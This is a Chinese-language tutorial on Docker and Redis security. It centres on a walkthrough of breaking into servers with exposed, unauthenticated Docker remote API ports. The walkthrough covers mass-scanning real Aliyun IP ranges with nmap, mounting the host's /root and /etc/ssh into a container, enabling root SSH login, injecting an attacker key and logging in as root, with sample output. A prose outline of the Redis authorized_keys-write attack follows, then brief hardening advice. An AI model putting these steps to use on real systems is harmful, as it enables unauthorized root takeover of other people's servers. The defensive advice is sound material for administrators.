前言
Docker安全
Docker安全漏洞主要有以下几个方面：
- docker对user namespace没有隔离，换言之，容器内部的root用户就是宿主机的root用户，一旦挂载目录，就可以在容器内部以宿主机的root用户身份对挂载的文件系统随意修改了
- docker服务拥有很高的执行权利，并且在docker用户组下的普通用户不需要任何其他验证就可以执行
docker run等命令 - 暴露的docker remote API端口如果没有启动ssl验证的话，任何能连通道这台docker宿主机的机器都可以随意操作这台docker宿主机的docker daemon。
以下举个案例作为说明，摘自：Docker 2375 端口入侵服务器
- 使用
nmap命令扫描2375端口，主要目标是aliyun的IP段，通过百度可得知
42.96.128.0/17 Alibaba (Beijing) Technology Co., Ltd. China
42.120.0.0/16 Aliyun Computing Co., LTD China
42.121.0.0/16 Aliyun Computing Co., LTD China
42.156.128.0/17 Aliyun Computing Co., LTD China
110.75.0.0/16 Asia Pacific Network Information Centre China
110.76.0.0/19 Ali Technology Co., Ltd China
110.76.32.0/20 Aliyun Computing Co., LTD China
110.173.192.0/20 HiChina Web Solutions (Beijing) Limited China
110.173.208.0/20 HiChina Web Solutions (Beijing) Limited China
112.124.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
112.127.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
114.215.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
115.28.0.0/16 HiChina Web Solutions (Beijing) Limited China
115.29.0.0/16 HiChina Web Solutions (Beijing) Limited China
115.124.16.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China
115.124.20.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China
115.124.24.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China
119.38.208.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China
119.38.216.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China
119.42.224.0/20 Alibaba (China) Technology Co., Ltd. China
119.42.242.0/23 Hangzhou Alibaba Advertising Co.,Ltd. China
119.42.244.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China
121.0.16.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China
121.0.24.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China
121.0.28.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China
121.196.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
121.197.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
121.198.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
121.199.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
140.205.0.0/16 Aliyun Computing Co., LTD China
203.209.250.0/23 Hangzhou Alibaba Advertising Co.,Ltd. China
218.244.128.0/19 Hangzhou Alibaba Advertising Co.,Ltd. China
223.4.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
223.5.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
223.5.5.0/24 Hangzhou Alibaba Advertising Co.,Ltd. China
223.6.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China
223.6.6.0/24 Hangzhou Alibaba Advertising Co.,Ltd. China
223.7.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd.
将这些ip段保存为aliyun.list，执行以下命令：
cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open
# 简单解释一下命令：
# awk 将第一列IP网段过滤出来
# xargs 将过滤出来的IP一个一个的分次送给nmap，-I {} 是指使用{}来代替传送的参数
# ...
# Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-05 09:57 CST
# Nmap scan report for 42.96.MOSAIC.MOSAIC
# Host is up (0.070s latency).
# PORT STATE SERVICE
# 2375/tcp open docker
# ...
假设扫描粗来待攻击的ip为：127.0.0.1。
- 测试2375的权限
docker -H tcp://127.0.0.1:2375 ps
# CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS
# 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh" 9 days ago Up 3 days 0.0.0.0:9009->80
# f57c56af0e29 rethinkdb:2.3.2 "rethinkdb --bind all" 9 days ago Up 3 days 8080/tcp, 28015/
# 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" 10 days ago Up 3 days 0.0.0.0:500->500
# af7338a5426d nginx:1.9-alpine "nginx -g 'daemon off" 3 weeks ago Up 3 days 443/tcp, 0.0.0.0
# ...
出现这个信息的原因是该服务器docker的2375端口没有开启SSL验证
- 远程启动自己的容器
# images 看看本地已有的镜像
# docker -H tcp://127.0.0.1:2375 images
# ...
# swarm latest 47dc182ea74b 4 weeks ago 19.32 MB
# jwilder/nginx-proxy latest 203b20631e41 4 weeks ago 255.6 MB
# ubuntu latest c5f1cf30c96b 4 weeks ago 120.8 MB
# shipyard/shipyard latest ba426f0944bc 5 weeks ago 58.92 MB
# ...
选择某个镜像，如Ubuntu
# docker -H tcp://127.0.0.1:2375 run --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu
- ssh pub key 注入
在刚刚启动的容器中先看看 /tmp/ssh_etc/sshd_config (就是宿主机的/etc/ssh/sshd_config) 的PermitRootLogin字段。如果是no就改成yes，允许root通过ssh登录。
然后在你的机器上生成一对新的pub key（已经有ssh key的也建议生成一个新的，不要使用自己日常使用的ssh pub key）
# 使用 ssh-keygen生成
ssh-keygen -t rsa -C "[email protected]"
# 执行命令后的提示Enter file in which to save the key要看好，不要把自己的ssh key覆盖了，可以选着/tmp/id_rsa
# 其他提示enter到底即可
继续，注入ssh pub key，回到刚刚启动的容器执行
cat >> /tmp/root/.ssh/authorized_keys <<EOF
>ssh-rsa AAA.... # 这里粘贴你刚刚在自己机器生成的/tmp/id_rsa.pub
>EOF
# 如果/tmp/root/.ssh目录不存在，就直接创建
- 登录服务器
# ssh -i 指定秘钥登录
ssh -i /tmp/id_rsa [email protected]
# Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)
#
# * Documentation: https://help.ubuntu.com/
#
# Welcome to aliyun Elastic Compute Service!
#
# Last login: Fri Jun 3 01:38:07 2016 from 120.85.MOSAIC.MOSAIC
# manpath: can't set the locale; make sure $LC_* and $LANG are correct
# root@iZ28p9b7e***:~#
# ...
- 如何放置这个漏洞
可以参考：Protect the Docker daemon socket
Redis安全
Redis的被攻击主要有以下几个步骤：
- 恶意扫描6379端口，确定包含redis服务，并试图ssh登录
- 使用redis客户端链接redis服务器，执行redis命令，如清空所有的数据
- 使用
config dir命令将redis数据备份路径值/root/.ssh/ - 使用
config filename指定RDB备份文件名称为authorized_keys - 设置crackit key，将value设置为恶意访问者的公钥
- 执行bgsave，save动作出发RDB数据备份，将攻击者公钥存储在authorized_keys
- 攻击者ssh到redis服务器成功
一般而言对应的防守策略如下：
- 设定密码，该密码要足够复杂且定时更新密码。如果是主从结构的Redis，切记要从节点的配置中加入masterauth配置，否则会造成主从节点同步失效
- 伪装危险的命令，如 keys: 如果键值较多，存在阻塞Redis的可能性。flushall/flushdb: 数据全部被清除。save: 如果键值较多，存在阻塞Redis的可能性。debug: 例如 debug reload会重启 Redis。config: config应该交给管理员使用。shutdown: 停止 Redis。
- 设置防火墙
- 不使用默认端口
- 使用非root用户启动redis